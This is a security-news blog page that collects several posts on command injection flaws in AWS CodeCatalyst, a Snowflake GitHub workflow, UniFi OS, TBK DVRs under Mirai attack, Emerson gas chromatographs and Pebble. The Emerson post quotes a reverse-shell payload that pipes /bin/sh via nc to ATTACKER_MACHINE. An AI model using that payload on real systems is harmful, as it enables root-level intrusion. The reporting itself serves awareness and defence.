Search This Blog
Powered by Blogger.

Blog Archive

Labels

Footer About

Footer About

Labels

Load More
Trendy Right Now

Popular Posts

Showing posts with label Command Injection. Show all posts
Vulnerabilities and Exploits
AWS CodeCatalyst AWS Vulnerability CodeCatalyst Blueprints Command Injection CWE-78 OS Command Injection Vulnerabilities and Exploits

AWS CodeCatalyst Blueprints SDK Hit by High-Severity Command Injection Flaw


There is a high-severity attack on Amazon CodeCatalyst blueprints that exploits an open-source framework for building them. This vulnerability has been reported by Amazon Web Services. This flaw affects the @amazon-codecatalyst/blueprints.blueprint npm package and can lead to the execution of arbitrary commands in environments operating blueprint resynthesis. 

The Amazon CodeCatalyst blueprints serve as template documents for creating software development projects that can be reused. npm package that is affected provides the framework that blueprint authors use to construct these templates and is part of the open-source project AWS CodeCatalyst Blueprints. 

During blueprint resynthesis, a vulnerability occurs in the process of determining which files an existing project may modify based on its .ownership-file, which is used to determine whether blueprints can modify them. Versions 0.3.155 and earlier handled the owner field of an entry containing a [local] merge strategy without adequate validation, which left it vulnerable to shell command interpretation. 

A repository user with access to commit permissions could potentially use shell metacharacters to alter the affected field. In the context of resynthesis, those characters could be interpreted as commands by the operating system, allowing arbitrary commands to be executed in the resynthesis environment. The executed commands could consequently expose all privileges or credentials available in that environment. 

Amazon has rated CVE-2026-85012 as 8.5 on the CVSS 4.0 scale, indicating that it is a high-severity vulnerability. Under CWE-78, which describes improper neutralization of special elements in operating system commands, this vulnerability has been classified as high severity. Amazon CodeCatalyst service deployments that utilize vulnerable versions of the blueprint framework are affected by this issue as opposed to the CodeCatalyst service itself. 

As stated by Amazon, CodeCatalyst's resynthesis process operates in a separate environment with unique credentials for each project. Additionally, the service performs server-side validation to block merge strategy commands unless they conform to a restricted allowlist, including older blueprint versions. 

AWS Releases Fix for CVE-2026-85012

It has been reported that Amazon has corrected this vulnerability in version 0.3.156 of @amazon-codecatalyst/blueprints.blueprint, which reverts to shell-based command interpretation and executes the relevant command directly in place of shell-based command interpretation. In addition, the patched release restricts accepted values to an allowlisted command format, closing the injection path identified in CVE-2026-85012. 

Shell metacharacters are prevented from being interpreted during blueprint resynthesis as additional commands, closing the injection path identified in CVE-2026-85012. There are versions of the package 0.3.155 and earlier that are affected, so Amazon recommends upgrading to version 0.3.156, with forked and derivative implementations also requiring the appropriate security updates. There is no need for Amazon CodeCatalyst customers to respond to this vulnerability on the service-side. 

Resynthesis jobs within the service are conducted in isolated environments assigned to specific projects, using scoped credentials. Server-side checks are also applied by AWS to reject [local] merge strategy commands that do not conform to the approved format. In addition, these protections apply when blueprints are published using versions of the framework prior to version 0.3.156. 

The primary remediation concern is those projects or development environments that directly utilize the affected open-source framework following the implementation of the package-level fix. This updates the dependency, therefore removing the vulnerable shell execution behavior, and resolving the underlying issue of command injection described in CWE-78.

By removing shell interpretation and enforcing an allowlisted command format, version 0.3.156 resolves the underlying command injection issue. Users who are currently using version 0.3.156 should take the necessary steps to update their SDK.

Read more »
Workflow Injection
CI/CD Security Command Injection Copilot Autofix GitHub security Jira API Token Snowflake GitHub Actions Snowflake Security Vulnerabilities and Exploits Workflow Injection

Critical Snowflake GitHub Actions Flaw Exposes Projects to Command Injection


Snowflake’s public snowflakedb/snowflake-connector-net repository has been identified as vulnerable to GitHub Actions workflow injection. This vulnerability could be exploited to trigger command execution within CI/CD workflow through specially crafted GitHub issues. In this case, the flaw is attributed to the repository’s automatic workflow, jira_issue.yml, which runs automatically when a public issue is opened. 

When processing issue data, the workflow exposed Jira credentials, including API tokens, to the affected job. Attacker-controlled issue titles and descriptions were also passed directly into a shell command, resulting in an avenue for command injection. The workflow was also triggered by an issue event, which was incorrectly referenced with github.event.pull_request.user.login as the event check reference. 

In the absence of the referenced pull request property, this condition evaluated with an empty value, resulting in regular issues reaching the vulnerable job without any protection. The issue was not related to any released versions of the Snowflake Connector for .NET and affected the repository's CI/CD automation. 

Using the Red Agent, Wiz researchers discovered the vulnerability on June 23 as part of a security research project conducted by Snowflake’s HackerOne vulnerability disclosure program. Five days prior, after pull request #1218 was merged, a security flaw had been introduced, and an unauthenticated user could activate it by using a specially crafted GitHub issue title. 

The scan conducted by GitHub Advanced Security, which included Copilot Autofix, examined a revised version containing the vulnerable workflow, however, did not identify the injection. As a result of discovering the flaw, the Red Agent verified access to sensitive information within Snowflake’s internal Jira system. Code that has been compromised originated in a cleanup-related pull request that replaced a safer environment-variable and jq parsing approach with direct interpolation of the title of an issue into a shell script, which is the source of the vulnerable code. 

GitHub's security tooling flagged other issues during the development process and Copilot suggested fixes, but neither identified the injection caused by the change. Ultimately, a human reviewer approved and merged the pull request. In June of 2026, when the workflow became active, any new issues could be accessed by the vulnerable code path. 

Wiz’s Red Agent discovered the vulnerability five days later and successfully refined its exploit after an initial attempt to exploit it failed. As a result of the resulting payload, the researchers were able to access sensitive data within Snowflake’s internal Jira environment and obtain the Jira API token, enabling them to determine the potential impact of the vulnerability. 

A number of questions are raised by the incident regarding automated security review and AI-assisted software development. Wiz pointed out that coding tools can inadvertently reintroduce unsafe shell practices, while security scanners fail to detect the injection that occurs. The case underscores the importance of thoroughly reviewing code changes involving GitHub Actions, particularly when workflows handle sensitive credentials or untrusted input. 

Snowflake was informed of the vulnerability by Wiz through HackerOne on June 23, 2026, under report #3819931. Snowflake resolved the issue on June 24, 2026, by submitting pull request #1402, which replaced direct expansion of GitHub issue data with environment variables passed as arguments to jq. The Jira token was rotated on June 24. 

The investigation conducted by Snowflake did not reveal any evidence of unauthorized access, and Wiz reported that no unrelated external use of the exposed token was observed during the five-day exposure period. There has been no release of the company's underlying audit logs. Furthermore, GitHub's commit history does not indicate that Copilot was the author of the changes to the jira_issue.yml file. 

Despite the fact that Copilot Autofix appears to be a co-author of the squash merge, the unsafe refactoring was contained in a separate commit attributed to a Snowflake developer. Consequently, the available history confirms Copilot's participation in the pull request, but does not substantiate that the code was introduced by it. 

This case demonstrates GitHub's warnings of workflow security risks in 2025, particularly when issue data is directly used in run blocks, which poses a security risk to workflows. As of August 17, 2026, no CVE, CVSS score, or CISA KEV listing had been identified for this vulnerability. The vulnerable code has since been removed from the master branch, and there is no evidence that it has been exploited outside of the master branch.
Read more »
Vulnerability Management
CISA KEV catalog Command Injection Network Security Remote Code Execution Ubiquiti UniFi OS Vulnerabilities and Exploits Vulnerability Management

Ubiquiti UniFi OS Flaw Under Active Exploitation CISA Alerts Users


 

A new focus on network infrastructure devices has been drawn after the U.S. Cybersecurity and Infrastructure Security Agency (CISA) flagged several security vulnerabilities in Ubiquiti's UniFi OS platform. Following evidence of active exploitation, the KEV catalog was updated to include these vulnerabilities. 

Among the identified vulnerabilities are access control bypass, path traversal, and command injection vulnerabilities, which researchers warn can provide attackers with direct access from unauthenticated access to a complete system compromise. With UniFi OS widely deployed across enterprise, government, and service provider environments to manage networking equipment, the vulnerabilities present a significant threat to administrative control planes and sensitive operational information. 

In the latest CISA alert, researchers have demonstrated that Internet-exposed management interfaces present an increased threat, as researchers have demonstrated how these flaws may be chained together to facilitate privileged remote code execution. In response, federal agencies and organizations are urging them to expedite remediation efforts before further exploitation activity occurs. 

Inclusions of the KEVs are based on three distinct vulnerabilities that affect UniFi OS, when combined, significantly increases the attack surface of exposed deployments. In this vulnerability, unauthenticated actors have the capability to alter system settings and administrative configurations without authorization as a result of an access control bypass weakness. 

The CVE-2026-4909 vulnerability exposes a path traversal condition that is capable of exposing underlying operating system files, potentially revealing credentials, configuration data, and other sensitive information that can be used to carry out further intrusions. As a result of an improper input validation attack, CVE-2026-34910 can be exploited to execute arbitrary operating system commands on targeted devices. 

All three vulnerabilities were addressed by Ubiquiti through security updates released in May, noting that exploiting the vulnerabilities does not require prior authorization or elevated privileges, making timely patch deployment critical for organizations using UniFi infrastructure. 

Following the analysis, Bishop Fox security researchers have demonstrated that these vulnerabilities are not isolated risks but can be chained together to permit remote code execution on affected systems using privileged privileges. Using their findings, attackers were able to gain complete control over vulnerable UniFi OS instances by gaining initial unauthorized access, demonstrating how severe this vulnerability is in real-world environments. 

Additionally, the researchers published a detection utility to assist defenders in identifying and remediating vulnerable deployments across enterprise networks on GitHub. In conjunction with the CISA alert, active exploitation concerns have also been raised regarding CVE-2025-67038, a critical root-level command injection vulnerability on Lantronix EDS5000 servers using firmware version 2.1.0.0R3 of Lantronix servers. 

Shell commands are invoked as part of the mechanism used to record failed authentication attempts within the device's HTTP RPC component, where the flaw occurs. During the process of handling user input, improper handling could lead to command injection, making it possible for attackers to execute arbitrary commands with root privileges on the affected system. 

By adding the UniFi OS flaws to CISA's Known Exploited Vulnerabilities catalog, the vulnerabilities fall under the remediation requirements of Binding Operational Directive 22-01. According to this directive, federal civilian agencies are required to remediate actively exploited vulnerabilities within prescribed timelines in order to reduce operational risk. 

A response has been provided by CISA, which has ordered that agencies rectify CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910 by June 26, 2026, while also recommending that organizations in the private sector evaluate their environments against the KEV catalog and prioritize exposed systems that could be exploited in ongoing attacks. However, reports emerging from community forums and Reddit discussions suggest that threat actors may have weaponized the vulnerabilities before they were disclosed, even though Ubiquiti's security advisories did not explicitly refer to active exploitation. 

Researchers believe that rogue accounts were unexpectedly created by administrators using the username “John Sim,” a process researchers believe might have been linked to automated reconnaissance operations targeting unattended UniFi deployments that were accessible via the internet. 

The Bishop Fox team conducted a technical analysis of CVE-2026-34908 and CVE-2026-34909 and determined that they could be used as part of an authentication gateway bypass resulting from inconsistencies in the way NGINX interprets specially crafted requests. Through the submission of requests that appear to target authentication-exempt routes, but which normalize into protected internal endpoints, attackers may be able to access backend services normally required to log in. 

Research indicates that the bypass can be exploited to trigger CVE-2026-34910, a command injection flaw associated with improper validation of package names during update operations. The researchers validated the bypass against UniFi OS 5.0.6 test environments. 

Using shell metacharacters inserted in crafted package parameters and forcing execution through the affected code path, attackers may be able to execute operating system commands without authentication by enforcing shell metacharacters in the package parameters. This issue goes beyond individual devices. 

As outlined by the Centre for Cybersecurity Belgium, UniFi OS platforms provide visibility and control across switches, gateways, wireless networks, and connected assets, acting as central management systems for network infrastructure. By successfully compromising a system, attackers may be able to harvest credentials, manipulate network configurations, intercept traffic, or advance laterally into broader enterprise environments. 

The same urgency has also been applied to CVE-2025-67038, a critical unauthenticated command injection vulnerability affecting Lantronix EDS5000 devices with a CVSS score of 9.8. Unpatched, the flaw, which was disclosed as part of BRIDGE:BREAK research that uncovered 22 vulnerabilities across Lantronix and Silex products, allows remote command execution with root privileges, posing a comparable risk of complete device compromise. 

Among the steps CISA suggests to minimize exposure is following vendor-issued mitigation guidance, implementing an accelerated patch management procedure consistent with BOD 26-04 requirements, and maintaining sufficient logging to support forensic investigations when exploitation is suspected. 

The directive requires agencies operating cloud-hosted UniFi environments to comply with cloud-specific provisions, or to discontinue affected services if remediation cannot be completed within the specified timeframe. CISA's latest action reminds us that once vulnerabilities affecting network management platforms become publicly available, they can rapidly transform from technical flaws into high-impact security incidents. 

A critical safeguard for enterprise networks remains timely patching, exposure assessment, and continuous monitoring as threat actors continue to target infrastructure components. It is imperative for organizations relying on UniFi OS and other internet-facing management systems to take these findings seriously, ensuring that remediation efforts are paced at a rate that keeps pace with the speed at which attackers operationalize newly discovered vulnerabilities.
Read more »
Vulnerabilities and Exploits
Command Injection Linux Mirai botnet Netsecfish Vulnerabilities and Exploits

Mirai Botnet Variant is Building Swarm by Exploiting DVR Flaw

 

A command injection flaw in internet-connected digital video recorders used for CCTV monitoring is the target of a Mirai botnet malware variant, which allows hackers to take over the devices and add them to a botnet. 

Cybersecurity researchers at Russian cybersecurity firm Kaspersky discovered a CVE-2024-3721 exploit while analysing logs from their Linux honeypot system. The issue is a command injection vulnerability found in internet-connected digital video recorders used for CCTV surveillance. Further analysis revealed that the activity was related to a form of the Mirai botnet, which exploited this issue in TBK-manufactured DVR devices to compromise and control them. 

The vulnerability was initially discovered by security researcher "netsecfish" in April 2024. By adjusting parameters like mdb and mdc, the researcher released a proof-of-concept showing how a carefully designed post request to a specific URL can trigger shell command execution. Kaspersky confirmed that this precise technique is being utilised in the wild, with its Linux honeypots catching ongoing exploitation attempts linked to a Mirai botnet variant that uses netsecfish's proof-of-concept to compromise vulnerable DVRs. 

Nearly a decade ago, an anonymous source made the Mirai source code available online. It continues to act as the foundation for other evolving botnet efforts. The variant aimed at DVR systems expands on Mirai's initial foundation with extra features such as RC4-based string obfuscation, checks to avoid virtual machine environments, and anti-emulation methods. 

The exploit is used by the attackers to transmit a malicious ARM32 program to the target device, which then connects to a command-and-control server and joins the botnet. The infected device can be used to launch distributed denial-of-service attacks, forward malicious traffic, and engage in other malicious actions.

This Mirai variation uses a basic RC4 technique to decode its internal strings, with the decryption key disguised using XOR. After decryption, the strings are saved in a global list and used throughout runtime. To evade analysis, the virus runs anti-virtualization and anti-emulation checks on active processes for indicators of environments such as VMware or QEMU.

Last year, Netsecfish reported that around 114,000 DVR devices were vulnerable to CVE-2024-3721. Kaspersky estimates the figure to be closer to 50,000. The majority of infections associated with this Mirai variation are found in Brazil, Russia, Egypt, China, India, and Ukraine.
Read more »
sensitive data exposure
Authentication Bypass Command Injection Data Breach denial-of-service conditions Emerson gas chromatographs vulnerabilities sensitive data exposure

Critical Vulnerabilities in Emerson Gas Chromatographs Expose Sensitive Data

 

Researchers have discovered multiple critical vulnerabilities in Emerson gas chromatographs that could allow malicious actors to access sensitive data, cause denial-of-service conditions, and execute arbitrary commands. 

Gas chromatographs, essential for analyzing and separating chemical compounds, are widely used in various industries, including chemical, environmental, and healthcare sectors. The Emerson Rosemount 370XA, a popular model, uses a proprietary protocol for communication between the device and the technician's computer.

Claroty's Team82, a security research group specializing in operational technology, identified four significant vulnerabilities: two command injection flaws, an authentication bypass, and an authorization vulnerability. One of the command injection flaws received a CVSS v3 score of 9.8, marking it as critically severe.

The first vulnerability, tracked as CVE-2023-46687, is an unauthenticated remote code execution or command injection flaw found in the "forced calibration" command implementation. This flaw is tied to a system function that calls a constructed shell command with a user-provided file name without proper sanitization, allowing an attacker to inject arbitrary shell commands.

An attacker could exploit this by supplying crafted input such as gunzip -c ;nc -e /bin/sh ATTACKER_MACHINE 1337;> name_of_the_expanded_file, leading to arbitrary code execution in the root shell context.

The second vulnerability, CVE-2023-51761, is an authentication bypass that enables an attacker to bypass authentication by calculating a secret passphrase to reset the administrator password. The passphrase, derived from the device's MAC address, can be easily obtained. By understanding the passphrase validation process, an attacker can generate the passphrase using the MAC address and log in with administrator privileges using credentials formatted as EMERSON/{PASSPHRASE}.

Another flaw, CVE-2023-49716, involves a user login bypass via a password reset mechanism, allowing an unauthenticated user with network access to bypass authentication and gain admin capabilities.

The final vulnerability, CVE-2023-43609, is a command injection via reboot functionality, enabling an authenticated user with network access to execute arbitrary commands from a remote computer.

Due to the high cost and difficulty of acquiring a physical device, researchers emulated the Emerson Rosemount 370XA for their analysis. They discovered flaws in the device's protocol implementation, which allowed them to craft payloads and uncover the vulnerabilities.

The authentication bypass vulnerability, for example, allowed attackers to calculate a secret passphrase and reset administrator passwords, compromising system security.

In response to these findings, Emerson issued a security advisory recommending that users update the firmware on their devices. The Cybersecurity and Infrastructure Security Agency also released an advisory regarding these vulnerabilities.
Read more »
Vulnerabilities and Exploits
Command Injection Java Exploits Template Files Template Framework Vulnerabilities and Exploits

Critical Security Bug Detected in Java Template Framework Pebble

 

The vulnerability in Pebble, a Java templating engine could allow a hacker to circumvent its security safeguards and launch command injection assaults against host servers.  

Pebble Templates is primarily used to generate HTML text output but it can also employ to design CSS, XML, JS, etc. The templates are convenient because of their user-friendly web application templating system, internationalization capabilities, and security features like auto-escaping and a block-list method access validator that thwarts command execution assaults. 

However, a threat analyst at GitHub has identified that with the right code and template files, Pebble’s command execution defense can be bypassed easily. 

Circumventing Pebble Security 

The bypassing technology can work effectively when Pebble is utilized in combination with Spring, a well-known Java application framework. Multiple Spring classes are registered as beans, allowing them to be dynamically installed at runtime. The hacker can install one of the Spring objects that supports class loading by exploiting the Java beans engine. 

Subsequently, the malicious hacker can employ Jackson, a data-parsing library, to read an XML file containing the details of a class to instantiate and a function to operate. This allows a threat actor a window to execute arbitrary code on the host server. 

As a proof of concept, the security analyst installed an XML file from the internet employing a Pebble template, then instantiated a Java class that supported implementing server-side system commands. 

No easy solution yet 

The security bug report has sparked conversation among GitHub researchers. Due to the vulnerability’s CVE designation, business systems that rely on the latest version of Pebble are receiving security alerts.

The maintainers are working on a fix, but since it is a community-driven project, it remains unclear when it will be published. The developers have issued a few temporary workarounds to safeguard projects in the interim. 

It is worth noting that to exploit the bug, an attacker would need to have a way to upload a malicious Pebble template on the server. Hence, organizations must enhance security checks on user-provided content and limit template uploads. Businesses can also employ sanitization techniques to spot and mitigate malicious content before using it in the template.
Read more »
Subscribe to: Posts (Atom)